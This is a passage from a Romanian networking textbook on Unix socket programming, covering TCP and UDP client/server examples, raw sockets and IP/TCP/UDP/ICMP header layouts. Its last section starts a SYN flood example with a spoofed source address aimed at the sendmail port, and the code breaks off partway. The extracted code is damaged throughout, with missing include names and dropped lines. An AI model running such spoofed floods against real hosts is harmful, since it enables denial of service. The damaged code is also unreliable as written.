while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child processes */ 

} 

} 

b) Un client stream simplu 

Tot ceea ce face acest client este să se conecteze la maşina gazdă care a fost specificat în linia de 

comandă, pe portul 3490. Preia şirul de caractere pe care acel server îl trimite. Sursa clientului 

(tcpclient.c): 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#define PORT 3490 /* the port client will be connecting to */ 

#define MAXDATASIZE 100 /* max number of bytes we can get at once */ 

int main(int argc, char *argv[]) 

{ 

int sockfd, numbytes; 

char buf[MAXDATASIZE]; 

struct hostent *he; 


if (argc != 2) { 

fprintf(stderr,"usage: client hostname\n"); 

exit(1); 

} 

if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */ 

herror("gethostbyname"); 

exit(1); 

} 

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 


exit(1); 

} 


123


their_addr.sin_family = AF_INET; /* host byte order */ 

their_addr.sin_port = htons(PORT); /* short, network byte order */ 

their_addr.sin_addr = *((struct in_addr *)he->h_addr); 

bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */ 

if (connect(sockfd, (struct sockaddr *)&their_addr, \ 

sizeof(struct sockaddr)) == -1) { 

perror("connect"); 

exit(1); 

} 

if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { 

perror("recv"); 

exit(1); 

} 

buf[numbytes] = '\0'; 

printf("Received: %s",buf); 

close(sockfd); 

return 0; 

} 

De notat că dacă nu se rulează serverul înainte de client, connect() retrunează "Connection refused". 

5.4. Comunicaţii neorientate pe conexiune prin socket datagramă 

Până acum ne-au preocupat în mod deosebit socket-urile ce oferă servicii orientate pe 

conexiune. Totuşi, există suport pentru interacţiuni neorientate pe conexiune cum ar fi datagramele 

din reţelele contemporane cu comutare de pachete. 

Un socket datagramă oferă o interfaţă simetrică schimbului de date. Deşi procesele sunt încă 

'server' şi 'client', nu mai este necesară stabilirea conexiunii. În schimb, fiecare mesaj conţine adresă 

destinaţie. 

Socket-urile datagramă sunt create ca mai înainte. Dacă o adresă locală particulară este 

necesară, apelul bind() trebuie să preceadă primul transfer de date. Altfel, sistemul poate seta adresa 

locală şi portul când datele se trimit prima dată. Pentru trimiterea datelor se foloseşte apelul 

sendto(): 


sendto(s, buf, buflen, flags, (struct sockaddr *)&to, tolen); 

unde s, buf, buflen, flags sunt parametri ce se folosesc ca la apelul send(). 

to şi tolen sunt folosite pentru a indica adresa destinaţie. 

Când se foloseşte o interfaţă nesigură cum este datagrama, este puţin probabil ca erorile să fie 

raportate transmiţătorului. Totuşi, dacă informaţia este netransmisp şi se detectează imposibilitatea 

transmiterii (de ex. reţeaua este întreruptă) apelul va întoarce -1. 

Pentru a recepţiona mesaje pe un socket datagramă neconectat, se foloseşte apelul 

recvfrom(): 

recvfrom(s, buf, buflen, flags, (struct sockaddr *)&from, &fromlen); 

Înca odată, parametrul fromlen este valoare-rezultat, iniţial conţinând dimensiunea bufferului from 

şi modificat la întoarcere indicând dimensiunea actuală a adresei de la care s-a recepţionat 

datagrama. 

Pe lângă cele două apeluri menţionate mai sus, socket-urile datagramă pot folosi şi apelul 

connect() pentru a asocia un socket cu o adresă destinaţie specifică. În acest caz, orice mesaj trimis 

pe acel socket este trimis automat partenerului conectat şi numai mesajele recepţionate de la acel 

proces vor fi livrate utilizatorului. 

Doar o singură adresă poate fi conectată la un socket la un moment dat. O a două conectare 

124


va schimba adresa destinaţie, iar o conectare la o adresă nulă (family AF_UNSPEC) va deconecta 

socketul. 

Cererile de connect() la datagrame se întorc imediat, deoarece sistemul nu face altceva decât 

să înregistreze adresa destinaţie (spre deosebire de connect() la socketuri stream, unde se iniţiază 

stabilirea unei conexiuni). 

Accept() şi listen() nu se folosesc la socketuri datagramă. 

Un scenariu clasic de comunicare folosind socket datagramă se prezintă după cum urmează: 

Emitător (client) Destinatar (server) 

----------------------------------------------------s 

= socket(..); s = socket(..); 

bind(s, adresa_A,..); 

//connect(s, adresa_A,..); 

recv/send(s,..); 

send/recv(s,..); 

/* transfer repetat Emiţător -> Receptor */ 

close(s); close(s); 

Acest scenariu poate fi ilustrat conform figurii: 


Server Client 

socket() 

bind() 

send/recv() 

closesocket() 

socket() 

recv/send() 

closesocket() 

Figura 5.2. Scenariu client/server cu Socket de tip datagramă 

Exemplu: 

Prezentăm două programe: talker.c si listener.c. listener este programul server ce stă pe o maşina 

asteptând să vină pachete pe portul 4950. talker trimite pachete pe acel port, pe maşina specificată, 

care conţin orice introduce utilizatorul în linia de comandă. 

Sursa pentru listener.c: 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#define MYPORT 4950 /* the port users will be sending to */ 

#define MAXBUFLEN 100 

main() 

{ 

int sockfd; 

struct sockaddr_in my_addr; /* my address information */ 


int addr_len, numbytes; 

125


} 


char buf[MAXBUFLEN]; 

if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { 


exit(1); 

} 

my_addr.sin_family = AF_INET; /* host byte order */ 

my_addr.sin_port = htons(MYPORT); /* short, network byte order */ 

my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */ 

bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ 

if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct 

sockaddr)) \ 

== -1) { 

perror("bind"); 

exit(1); 

} 

addr_len = sizeof(struct sockaddr); 

if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, \ 

(struct sockaddr *)&their_addr, &addr_len)) == -1) { 

perror("recvfrom"); 

exit(1); 

} 

printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr)); 

printf("packet is %d bytes long\n",numbytes); 

buf[numbytes] = '\0'; 

printf("packet contains \"%s\"\n",buf); 


De reţinut că în apelul funcţiei socket() folosim în final SOCK_DGRAM. De asemenea, de reţinut că nu este nevoie de 

listen() sau accept(). 

Sursa pentru talker.c: 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#define MYPORT 4950 /* the port users will be sending to */ 

int main(int argc, char *argv[]) 

{ 

int sockfd; 


struct hostent *he; 

int numbytes; 

if (argc != 3) { 

fprintf(stderr,"usage: talker hostname message\n"); 

exit(1); 

} 

if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */ 

herror("gethostbyname"); 

exit(1); 

} 

if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { 


exit(1); 

} 

their_addr.sin_family = AF_INET; /* host byte order */ 

their_addr.sin_port = htons(MYPORT); /* short, network byte order */ 

their_addr.sin_addr = *((struct in_addr *)he->h_addr); 

bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */ 

if ((numbytes=sendto(sockfd, argv[2], strlen(argv[2]), 0, \ 

(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) { 

126


} 


perror("sendto"); 

exit(1); 

} 

printf("sent %d bytes to 

%s\n",numbytes,inet_ntoa(their_addr.sin_addr)); 


return 0; 

Se rulează listener pe o maşina, apoi se rulează talker pe alta iar cele două procese comunică în 

mod neorientat pe conexiune. 

Există totuşi un singur detaliu mic ce a mai fost menţionat de mai multe ori: conectarea 

datagram socket. Să spunem că talker apelează connect() şi specifică adresa lui listener. Din acest 

punct, talker poate trimite şi primi mesaje doar la adresa specificată prin connect(). Din acest motiv, 

nu mai e nevoie să folosim sendto() şi recvfrom(); se poate folosi simplu send() şi recv(). 

5.5. Paşii necesari realizării unei aplicaţii cu socket-uri 

- 1 - obţinerea unui descriptor de socket cu apelul de funcţie: 

int socket(int domain, int type, int protocol); 

int s; 


- 2 - atribuirea unui nume unic pentru socket cu apelul bind(): 

int rc; 

int s; 

struct sockaddr_in myname; 

int bind(int s, struct sockaddr *name, int namelen); 

memset(&myname, 0, sizeof(myname)); 

myname.sin_family = AF_INET; 

myname.sin_addr = inet_addr("193.226.10.73"); /* adresa specifica */ 

myname.sin_port = htons(2200); /* numarul portului */ 

rc = bind(s, (struct sockaddr *) &myname, sizeof(myname)); 

- acest exemplu atribuie numele myname socket-ului s. 

- 3 - aşteptare de conexiuni de la clienţi. Aplicaţia server face acest lucru cu apelul listen(): 

int s; 

int backlog; 

int rc; 

int listen(int s, int backlog); 

rc = listen(s, 5); 

Apelul listen() indică software-ului de sistem TCP/IP că serverul este gata să accepte conexiuni 

şi că maximum 5 cereri de conectare pot fi trecute în coada de aşteptare a serverului, celelalte cereri 

fiind refuzate. 

- 4 - lansare de câtre clienţii ce folosesc socket-uri stream a unei cereri de conectare cu apelul connect(): 

int s; 

struct sockaddr_in servername; 

int rc; 

int connect(int s, struct sockaddr *name, int namelen); 

127



memset(&servername, 0, sizeof(servername)); 

servername.sin_family = AF_INET; 

servername.sin_addr = inet_addr("193.226.10.73"); 

servername.sin_port = htons(2200); 

rc = connect(s, (struct sockaddr *) &servername, sizeof(servername)); 

Apelul connect() încearcă să conecteze socket-ul s la server-ul descris de structura servername. 

Acesta ar putea fi server-ul care foloseşte apelul bind() în pasul 2. 

- 5 - acceptare cerere de conectare : 

int clientsocket; 

int s; 

struct sockaddr clientaddress; 

int addrlen; 

int accept(int s, struct sockaddr *addr, int *addrlen); 

addrlen = sizeof(clientaddress); 

clientsocket = accept(s, &clientaddress, &addrlen); 

Dacă există cereri de conectare care aşteaptă pe socket-ul s, numele clientului şi lungimea 

numelui acestuia sunt întoarse împreuna cu un nou descriptor de socket, care este asociat cu clientul 

care a iniţiat conexiunea. După această asociere socket-ul s este din nou disponibil pentru a accepta noi 

conexiuni. 

- 6 - transferul datelor se poate realiza cu patru apeluri : send() şi recv() pe socket-urile conectate şi 

sendto() şi recvfrom() pe cele neconectate (de tip datagramă). De exemplu, pe socket-urile conectate : 





int send(int socket, char *buf, int buflen, int flags); 

int recv(int socket, char *buf, int buflen, int flags); 

int s; 

bytes_sent = send(s, data_sent, sizeof(data_sent), 0); 

bytes_received = recv(s, data_received, sizeof(data_received), 0); 

- 7 - pentru socket-uri neconectate trebuie furnizate informaţii suplimentare de adresă şi utilizate 

apelurile sendto() şi recvfrom(): 





struct sockaddr_in to; 

struct sockaddr from; 

int addlen; 

int sendto(int socket, char *buf, int buflen, int flags, struct sockaddr 

*addr, int addrlen); 

int recvfrom(int socket, char *buf, int buflen, int flags, struct sockaddr 

*addr, int addrlen); 

int s; 

to.sin_family = AF_INET; 

to.sin_addr = inet_addr("193.226.10.73"); 

to.sin_port = htons(2200); 

bytes_sent = sendto(s, data_sent, sizeof(data_sent), 0, (struct sockaddr *) 

128


&to, sizeof(to)); 

addrlen = sizeof(from); /* trebuie initializat */ 

bytes_received = recvfrom(s, data_received, sizeof(data_received), 0, &from, 

&addrlen); 

- 8 - verificare a stării socket-urilor, dacă au date disponibile pentru a fi citite sau sunt gata de emisie 

sau sunt în condiţii speciale, cu apelul input_ready(): 

#define MAX_TIMEOUT 1000 

/* input_ready(insock) - verifica daca exista o intrare disponibila pe 

socket-ul insock. Returneaza : 

1 daca intrarea este disponibila 

0 daca intrarea nu este disponibila 

-1 in caz de eroare. 

*/ 

int input_ready(insock) 

int insock; /* input socket */ 

{ 

int socks[1]; /* vector de sockets */ 

long timeout = MAX_TIMEOUT; 

/* pune socket-ul de verificat in socks[] */ 

socks[0] = insock; 

/* verifica disponibilitatea de citire pe acest socket */ 

return select( socks, 1, 0, 0, timeout); 

} 

Aplicaţia setează măştile de biţi pentru a indica socket-urile testate pentru anumite condiţii şi 

indică un time-out. Dacă valoarea de time-out este 0, apelul nu aşteaptă un socket disponibil, altfel 

funcţia select() va aştepta un timp time-out pentru ca cel puţin un socket să fie disponibil în condiţiile 

indicate. Procedura este utilă pentru aplicaţii cu conexiuni multiple ce nu trebuiesc blocate în aşteptare 

pe o singură conexiune. 

- 9 - realizare de operaţii asincrone cu apelul ioctl(): 

int s; 

int dontblock; 

char buf[256]; 

int rc; 

int ioctl(int s, int command, char *command_data, int datalen); 

dontblock = 1; 

rc = ioctl(s, FIONBIO, (char *) &dontblock, sizeof(dontblock)); 

if ( recv(s, buf, sizeof(buf), 0) == -1 && errno == EWOULDBLOCK) 

/* datele nu sunt disponibile */ 

else 

/* s-au obtinut date sau a aparut o eroare */ 

Exemplul plasează socket-ul s în modul fără blocare. Când s este trecut ca parametru la apeluri 

care s-ar bloca (de ex. recv() când datele nu sunt disponibile) apelul este returnat cu un cod de eroare şi 

variabila globală errno este setată la EWOULDBLOCK. 

- 10 - dealocare a socket-ului s cu apelul close() : 


int rc; 

int s; 

int close(int s); 

rc = close(s); 

129


5.6. Particularităţi de implementare prin programare a modelului client-server 

Prin modelul client-server se înţelege un mod de abordare a rezolvării aplicaţiilor de reţea astfel 

încât soluţia cuprinde o colecţie de programe care se pot împărţii în două clase. Serverul, de obicei 

unul, este programul care este interogat de alte programe şi în urma interogării execută diverse acţiuni. 

Este partea cea mai sofisticată a aplicaţiei de reţea. Clientul, unul sau mai mulţi, reprezintă programe, în 

general cu un nivel scăzut de complexitate, care în principal reprezintă o interfaţă între utilizator şi 

server. Rolul programelor client este de prelua cererile utilizatorului (în modul cel mai evoluat se 

foloseşte o interfaţă grafica) şi de a le transmite serverului, după procesarea lor transmiţând 

utilizatorului rezultatele. 

În continuare se prezintă două scenarii de server, clasice în cazul aplicaţii de reţea construite cu 

sockets. 

Prin server iterativ se înţelege un server care procesează câte o cerere la un moment dat. Dacă 

viteza de sosire a cererilor este mai mare decât viteza de procesare atunci cererile noi sosite se 

stochează într-o coadă de aşteptare. Scenariul acestui server este dat mai jos: 

int sockfd, newsockfd; 

if ((sockfd=socket(...)) < 0) 

{ printf ("error ..."); exit(1);} 

if (bind(sockfd,...) < 0) 


if (listen(sockfd,5) < 0) 


for (;;) 

newsockfd=accept(sockfd, ...); /* blocare pentru asteptare cereri*/ 

if (newsockfd < 0) 


process(newsockfd); /*procesare cerere*/ 

close (newsockfd); 

} 

În cazul serverului concurent scenariul este diferit, eliminându-se pierderea de cereri aşa cum se poate 

întâmpla în cazul scenariului de mai sus. În acest caz serverul creează un fiu pentru fiecare cerere 

primită. Transferă execuţia cererii la fiu şi serverul se întoarce la procesarea următoarei cereri. 

Scenariul unui astfel de server este : 

int sockfd, newsockfd; 

if ((sockfd=socket(...)) < 0) 


if (bind(sockfd,...) < 0) 


if (listen(sockfd,5) < 0) 


for (;;) 

newsockfd=accept(sockfd, ...); /* blocare pentru asteptare cereri*/ 

if (newsockfd < 0) 


if (fork()==0) { /* procesul fiu */ 


process(newsockfd); /*procesare cerere*/ 

exit(0); 

} 


130


close (newsockfd); /* parinte */ 

} 

5.7. Programare socket avansată 

5.7.1. Utilizarea socket-urilor pentru accesare la nivel scăzut 

Conceptul de bază în socket-ul de nivel scăzut este trimiterea unui singur pachet la un moment 

dat, cu toate header-ele (antetele) protocoalelor completate de program (in locul kernel-ului). Unix 

furnizeaza doua feluri de socket care permit accesul direct la retea. Unul este SOCK_PACKET, 

care primeste si trimite date in nivelul de legatura. Aceasta inseamna, ca header-ul specific placii de 

retea este inclus in datele care vor fi scrise sau citite. Pentru cele mai multe retele, acesta este 

header-ul ethernet. Desigur, toate protocoalele următoare vor fi de asemenea incluse in date. Totusi, 

tipul de socket pe care il vom utiliza, este SOCK_RAW, care include headerele IP si cele de sub el 

in date. 

Modelul pe straturi (simplificat) arata cam asa: 

Nivelul Fizic -> Nivelul de Legatura sau Dispozitiv (protocolul Ethernet) -> Nivelul Retea (IP) -> 

Nivelul Transport (TCP, UDP, ICMP) -> Nivelul Sesiune (datele specifice aplicatiei). 

O comanda standard pentru a crea un socket raw este: 

socket(PF_INET, SOCK_RAW, IPPROTO_UDP); 

Din momentul in care este creat, poti trimite orice pachet IP prin el, si poti primi orice pachet IP 

care a fost primit de masina gazda dupa ce a fost creat socket-ul si daca citesti (read()) de la el. De 

retinut: cu toate ca socket-ul este o interfata catre header-ul IP, el ramane specific nivelului de 

transport. Asta inseamna, ca pentru a asculta trafic TCP, UDP sau ICMP, trebuie create separat 3 

raw socket, utilizand IPPROTO_TCP, IPPROTO_UDP si IPPROTO_ICMP (numerele de protocol 

sunt 0 sau 6 pentru tcp, 17 pentru udp si 1 pentru icmp). Cu aceste cunostinte, putem deja, de 

exemplu, sa creem un mic sniffer, care sa afiseze continutul tuturor pachetelor pe care le primim. 

(Header-ele etc. lipsesc, asta este doar un exemplu). 

int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); 

char buffer[8192]; /* single packets are usually not bigger than 8192 

bytes */ 

while (read (fd, buffer, 8192) > 0) 


printf ("Caught tcp packet: %s\n", buffer+sizeof(struct 

iphdr)+sizeof(struct tcphdr)); 

Observaţii privind utilizarea raw-socket pe maşinile Unix: 

• SOCK_RAW permite accesul direct la nivelul IP (IPv4 sua IPv6) trecând astfel peste nivelul 

transport al stivei de protocoale TCP/IP. 

• Crearea de socket de acest tip cere drepturi de superuser. Această fază poartă caracteristicile 

principale: 

• SOCK_RAW al doilea argument al apelului socket(). 

• IP_HDRINCL poate fi setat folosind apelul setsockopt(), opţiune ce va permite aplicaţiei 

specificarea şi a antetului IP. 

• apelul bind() poate fi folosit pentru a specifica adresa locală. 

• apelul connect() poate fi invocat (similar cazului SOCK_DGRAM) pentru a stabili adresa 

destinaţie. 

• Transmisia de date prin Raw Socket 

• folosind apelurile sendto() sau sendmsg() prin specificarea adresei IP destinaţie. 

• Folosind apelurile write(), writev() sau send() pentru un socket conectat. 

• Permite trimiterea unor datagrame ICMPv4, ICMPv6, IGMPv4 etc. 

131


• dacă opţiunea IP_HDRINCL nu este setată, adresa de început indicată nucleului trebuie să 

indice primul octet de după antetul IP. 

Completat de 

nucleu 

• Dacă opţiuinea IP_HDRINCL este setată, această adresă de început indicată nucleului 

trebuie să fie adresa primului octet din antetul IP. 

• Nucleul se va ocupa de fragmentarea pachetelor ce depăşesc în lungime MTU al reţelei 

locale de acces. 

• Tot nucleul este cel care în cazul IPv4 calculează şi completează suma de control a antetului 

pachetelor IP. 

• Recepţiile Raw Socket 

• pachetele raw sockets nu sunt livrate niciodată entităţilor de protocol TCP sau UDP. 

• cele mai multe tipuri de pachete ICMP vor fi livrate unui raw socket doar după ce nucleul 

sistemului de operare le-a procesat. 

• toate pachetele IGMP vor fi livrate unui raw socket doar după ce nucleul sistemului de operare 

le-a procesat. 

• toate datagramele IP cu câmpul protocol nerecunoscut de către nucleul SO vor fi livrate unui 

raw socket. 

• nucleul aşteaptă până ce ajung toate fragmentele unei datagrame fragmentate le reasamblează în 

datagrama iniţială şi livrează unui raw socket. 

• verificările efectuate de către nucleu înaintea livrării datelor unui raw socket sunt: 

• dacă o valoare nenulă a câmpului protocol a fost specificat la crearea unui raw socket 

acestuia vor fi livrate doar datagramele recepţionate pentru acel protocol. 

• dacă, prin utilizarea apelului bind() a fost specificată o adresă IP locală conectat de un raw 

socket, atunci adresa IP destinaţie a datagramelor IP recepţionate trebuie să corespundă cu 

aceasta pentru a i se livra. 

• dacă o adresă IP destinaţie a fost specificată prin utilizarea apelului connect() , atunci adresa 

IP sursă din antetul datagramelor recepţionate trebuie să corespundă cu aceasta. 

• dacă un raw socket este creau cu numărul de protocol 0, şi nu s-a făcut nici un appel bind() sau 

connect(), atunci socket-ului I se va livra o copie a tuturor datagramelor de tip raw recepţionate. 

• nucleul livrează întreaga datagramă, inclusiv antetul IP, unui raw IPv4 socket. 

5.7.1.1. Protocoalele IP, ICMP, TCP si UDP 

Pentru a injecta propriile pachete, tot ce e nevoie să ştim este structura protocoalelor care se 

includ. Mai jos se găseşte o scurtă introducere în header-ele IP, ICMP, TCP şi UDP. Este 

recomandat să fie construite pachetele utilizând o structură, astfel încât să se completeze uşor 

heder-ele. Sistemele Unix furnizează structuri standard în fişierele antet (de exemplu 

). Se poate întotdeauna crea structuri proprii, atât timp cât lungimea fiecărei opţiuni 

este corectă. 


IP Header Data 

IP Header Data 

132


Tipurile/mărimea de date pe care le folosim sunt: 

• unsigned char - 1 octet (8 biti) 

• unsigned short int - 2 octeti (16 biti) 

• unsigned int - 4 octeti (32 biti) 

• struct ipheader { 

unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits 

*/ 

unsigned char ip_tos; 

unsigned short int ip_len; 

unsigned short int ip_id; 

unsigned short int ip_off; 

unsigned char ip_ttl; 

unsigned char ip_p; 

unsigned short int ip_sum; 

unsigned int ip_src; 

unsigned int ip_dst; 

}; /* total ip header length: 20 bytes (=160 bits) */ 

Protocolul Internet este protocolul nivelului reţea, utilizat pentru dirijarea datelor de la sursă la 

destinaţie. Fiecare datagramă conţine un header IP urmat de protocolul nivelului de transport, cum 

ar fi tcp. 

• ip_hl: lungimea header-ului IP în cuvinte de 32 biţi. Asta înseamnă că o valoare de pentru 

ip_hl reprezintă 20 de octeţi (5*4). Valori diferite de 5 sunt necesare doar dacă header-ul IP 

conţine opţiuni (cel mai des pentru dirijare) 

• ip_v: versiunea IP este întotdeauna 4 

• ip_tos: tipul serviciului, controlează prioritatea pachetului. 0x00 este normal. Primii 3 biţi 

reprezintă prioritatea de rutare, următorii 4 biţi pentru tipul serviciului (întarziere, debit, 

siguranţă şi cost) 

• ip_len: trebuie să conţină lungimea totală a datagramei IP 

• ip_id: număr de identificare, este folosit în special pentru reasamblarea datagramelor IP 

fragmentate. Când se trimite o singură datagramă, fiecare poate avea identificatori arbitrari 

• ip_off: offset-ul fragmentului este utilizat pentru reasamblarea datagramelor fragmentate. 

Primii 3 biţi sunt flag-ul fragmentului, primul este întotdeauna 0, al doilea bitul a-nu-sefragmenta 

(setat cu ip_off |= 0x4000) iar al treilea flagul-continuă sau flagul-urmeazăfragmente 

(ip_off |= 0x2000). Următorii 13 biţi sunt offset-ul fragmentului, conţinând 

numărul de pachete de 8 octeţi trimise deja 

• ip_ttl: timpul de viata, este numărul de hop-uri (rutere prin care trece) înainte ca pachetul să 

fie descărcat, şi un mesaj icmp de eroare să fie returnat. Maximul este 255 

• ip_p: protocolul din nivelul de transport. Poate fi tcp (6), udp (17), icmp (1), sau orice alt 

protocol urmează header-ului IP. 

• ip_sum: suma de control a datagramei pentru întreaga datagrama IP. De fiecare dată când se 

schimbă ceva în datagrama, e nevoie să se recalculeze, sau pachetul va fi descărcat de 

următorul ruter. 

• ip_src şi ip_dst: adresa IP sursă si destinaţie, convertită la format long, de exemplu de 

inet_addr(). Ambele pot fi alese arbitrar. 

Protocolul IP nu are nici un mecanism pentru stabilirea şi menţinerea unei conexiuni, nici măcar nu 

poate conţine date ca încărcătură directă. Protocolul Internet de Control al Mesajelor ICMP 

reprezintă o mică adăugare la IP pentru a transporta mesaje de erori, de rutare, controlul mesajelor 

şi date, şi deseori este considerat ca un protocol al nivelului de reţea. 

struct icmpheader { 


unsigned char icmp_type; 

unsigned char icmp_code; 

133



unsigned short int icmp_cksum; 

/* The following data structures are ICMP type specific */ 

unsigned short int icmp_id; 

unsigned short int icmp_seq; 

}; /* total icmp header length: 8 bytes (=64 bits) */ 

icmp_type: tipul mesajului, de exemplu 0 - echo reply, 8 - echo request, 3 - destination 

unreachable. Vezi pentru toate tipurile 

icmp_code: acest câmp este semnificativ când se trimite un mesaj de eroare (unreach), şi 

specifică tipul erorii. Din nou, putem consulta fişierul header pentru mai multe 

icmp_cksum: sumă de control pentru header-ul icmp împreuna cu datele. Este la fel ca suma 

de control IP. 

Observaţie: următorii 32 de biţi dintr-un pachet icmp pot fi folosiţi în diferite moduri. 

Aceasta depinde de tipul şi codul icmp. Cea mai des intalnită structură, o secvenţă ID, este 

utilizată în cererile şi răspunsurile echo. 

icmp_id: utilizat în mesajele echo request/reply, pentru a identifica cererea, 

icmp_seq: identifică secvenţa mesajelor echo, dacă mai mult de unul este trimis 

Protocolul datagramă utilizator UDP, este un protocol de transport pentru sesiuni care necesită 

schimbul de date. Ambele protocoale de transport, UDP şi TCP furnizează 65535 de porturi sursă şi 

destinaţie diferite. Portul destinaţie este utilizat pentru conectarea la un serviciu specific pe acel 

port. Spre deosebire de TCP, UDP nu este sigur, din moment ce nu utilizează numere de secvenţă şi 

conexiune cu stare. Aceasta înseamnă că datagramele UDP nu pot fi sigure (de exemplu pot fi 

pierdute fără notificare), din moment ce nu sunt certificate utilizând răspunsuri şi numere de 

secvenţă. 

struct udpheader { 

unsigned short int uh_sport; 

unsigned short int uh_dport; 

unsigned short int uh_len; 

unsigned short int uh_check; 

}; /* total udp header length: 8 bytes (=64 bits) */ 

uh_sport: Portul sursa pe care clientul il atasaza cu bind(), si pe care server-ul contactat va 

raspunde, uh_dport: Portul destinatie pe care un server specific poate fi contactat, uh_len: 

Lungimea header-ului udp si a datelor incarcate in octeti, uh_check: Suma de control a 

header-ului si a datelor, vezi suma de control IP 

Protocolul de Control al Transmisiei este cel mai des utilizat protocol care furnizeaza mecanisme de 

stabilire sigura a conexiunii cu cateva autentificari de baza, utilizand conexiuni cu stare si numere 

de secventa. 

struct tcpheader { 

unsigned short int th_sport; 

unsigned short int th_dport; 

unsigned int th_seq; 

unsigned int th_ack; 

unsigned char th_x2:4, th_off:4; 

unsigned char th_flags; 

unsigned short int th_win; 

unsigned short int th_sum; 

unsigned short int th_urp; 

134


}; /* total tcp header length: 20 bytes (=160 bits) */ 

• th_sport: Portul sursa, care are aceeasi functie ca si la UDP 

• th_dport: Portul destinatie, care are aceeasi functie ca si la UDP 

• th_seq: Numarul de secventa este utilizat pentru enumerarea segmentelor TCP. Datele dintro 

conexiune TCP pot fi continute in orice numar de segmente (= 0 singura datagrama tcp), 

care vor fi puse in ordine si certificate. De exemplu, daca trimiti 3 segmente, fiecare 

continand 32 octeti de date, prima secventa ar trebui sa fie (N+)1, a doua (N+)33 iar a treia 

(N+)65. "N+" pentru ca secventa initiala este aleatoare. 

• th_ack: Fiecare pachet care este trimis si fiecare parte valida a conexiunii este certificata cu 

un segment TCP gol care are flag-ul ACK setat (vezi mai jos), iar campul th_ack contine 

numarul th_seq anterior 

• th_x2: Nu este utilizat si contine zerouri binare 

• th_off: Offset-ul segmentului specifica lungimea header-ului TCP in blocuri de 32 biti/4 

octeti. Fara optiunile header-ului tcp, valoarea este 5. 

• th_flags: Acest camp consta in sase flaguri binare. Utilizand header-ele bsd, ele pot fi 

combinate dupa cum urmeaza: th_flags = FLAG1 | FLAG2 | FLAG3... 

• TH_URG: Urgent. Segmentul va fi rutat mai repede, este utilizat pentru terminarea 

unei conexiuni sau pentru oprirea proceselor (folosind protocolul telnet). 

• TH_ACK: Certificare. Utilizat pentru certificarea datelor si in a doua si a treia parte a 

unei initalizari de conexiune TCP 

• TH_PSH: Push. Stiva IP a sistemului nu va pastra in memorie segmentul ci il va 

inainta imediat catre aplicatie (cel mai des folosit cu telnet) 

• TH_RST: Reset. Spune perechii ca sa terminat conexiunea 

• TH_SYN: Sincronizare. Un segment cu flag-ul SYN setat indica un client care vrea 

sa initieze o noua conexiune catre portul destinatie 

• TH_FIN: Final. Conexiunea trebuie inchisa, perechea se presupune ca raspunde cu 

un ultim segment ce are de asemenea flag-ul FIN setat. 

• th_win: Window. Numarul de octeti care pot fi trimisi inainte ca datele sa fie certificate cu 

un ACK, inainte de a trimite mai multe segmente 

• th_sum: Suma de control a pseudo header-ului, header-ului tcp si a incarcaturii de date. 

Pseudo header-ul este o structura continand adresa sursa si destinatie IP, 1 octet setat la 

zero, protocolul (1 octet cu valoarea zecimala 6), si 2 octeti (unsigned short) continand 

lungimea totala a segmentului tcp 

• th_urp: Pointer urgent. Folosit doar daca flagul urgent este setat, alfel zero. Pointeaza catre 

sfarsitul incarcaturii de date care trebuie timisa cu prioritate 

5.7.1.2 Construirea si injectarea datagramelor 

Acum, punand cap la cap cunostintele despre structurile header-elor protocoalelor cu cateva functii 

C de baza, este usor sa contruim si sa trimitem orice datagrama. Vom demonstra aceasta cu un mic 

program exemplu care trimite constant cereri SYN catre o singura masina gazda. 

#define __USE_BSD /* use bsd'ish ip header */ 

#include /* these headers are for a Linux system, but */ 

#include /* the names on other systems are easy to guess.. 

*/ 

#include 

#define __FAVOR_BSD /* use bsd'ish tcp header */ 

#include 

#include 

#define P 25 /* lets flood the sendmail port */ 


135


unsigned short /* this function generates header checksums */ 

csum (unsigned short *buf, int nwords) 

{ 

} 


unsigned long sum; 

for (sum = 0; nwords > 0; nwords--) 

sum += *buf++; 

sum = (sum >> 16) + (sum & 0xffff); 

sum += (sum >> 16); 

return ~sum; 

int 

main (void) 

{ 

int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket 

*/ 

char datagram[4096]; /* this buffer will contain ip header, tcp 

header, 

and payload. we'll point an ip header structure 

at its beginning, and a tcp header structure after 

that to write the header values into it */ 

struct ip *iph = (struct ip *) datagram; 

struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct 

ip); 

struct sockaddr_in sin; 

/* the sockaddr_in containing the dest. address is used 

in sendto() to determine the datagrams path */ 

sin.sin_family = AF_INET; 

sin.sin_port = htons (P);/* you byte-order >1byte header values to 

network byte order (not needed on big endian machines) */ 

sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); 

memset (datagram, 0, 4096); /* zero out the buffer */ 

/* we'll now fill in the ip/tcp header values, see above for 

explanations */ 

iph->ip_hl = 5; 

iph->ip_v = 4; 

iph->ip_tos = 0; 

iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no 

payload */ 

iph->ip_id = htonl (54321); /* the value doesn't matter here */ 

iph->ip_off = 0; 

iph->ip_ttl = 255; 

iph->ip_p = 6; 

iph->ip_sum = 0; /* set it to 0 before computing the actual checksum 

later */ 

iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly 

spoofed */ 

iph->ip_dst.s_addr = sin.sin_addr.s_addr; 

tcph->th_sport = htons (1234); /* arbitrary port */ 

